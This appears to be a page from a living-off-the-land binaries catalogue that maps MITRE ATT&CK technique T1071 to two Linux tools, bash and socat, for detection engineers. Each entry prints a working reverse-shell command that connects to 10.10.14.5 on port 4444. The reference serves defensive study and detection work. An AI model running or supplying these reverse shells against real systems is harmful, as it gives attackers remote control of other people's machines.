How many Living-off-the-Land Binaries abuse T1071?

LOLPulse tracks 2 verified living-off-the-land binaries across Windows, Linux, and macOS that adversaries can leverage to execute Technique T1071 (T1071).

How can detection engineers monitor for T1071?

Detection strategies involve correlating process command-line arguments, parent process lineage, and behavioral telemetry rules (KQL, Sigma, and Splunk) specifically authored for the binaries listed in this matrix.

T1071Tactic: Execution & Defense EvasionOfficial MITRE ATT&CK Page

T1071: Technique T1071

Adversaries may leverage living-off-the-land techniques (T1071) to achieve execution, evade defenses, or transfer tools.

Total Capable Binaries: 2

•

Windows: 0

•

Linux: 2

•

macOS: 0

Living-off-the-Land Matrix for T1071

Across 2 verified binaries

Linux2 payloads

bash

The GNU Bourne Again SHell (bash) is the default interactive shell on most Linux distributions. Abused for spawning interactive reverse TCP shells, executing encoded base64 commands, and privilege escalation.

Sample Attack Vector:

bash -i >& /dev/tcp/10.10.14.5/4444 0>&1

Inspect bash & Telemetry

Linux1 payloads

socat

Socat is a command-line based utility that establishes two bidirectional byte streams and transfers data between them. Attackers use socat to establish encrypted TTY reverse shells and tunnel traffic across isolated network zones.

Sample Attack Vector:

socat tcp-connect:10.10.14.5:4444 exec:"bash -li",pty,stderr,setsid,sigint,sane

Inspect socat & Telemetry

Curated & Verified by

Sharon Ben Moshe

Cybersecurity Researcher & Detection Engineer • Check Point

LinkedIn Profile Methodology & Papers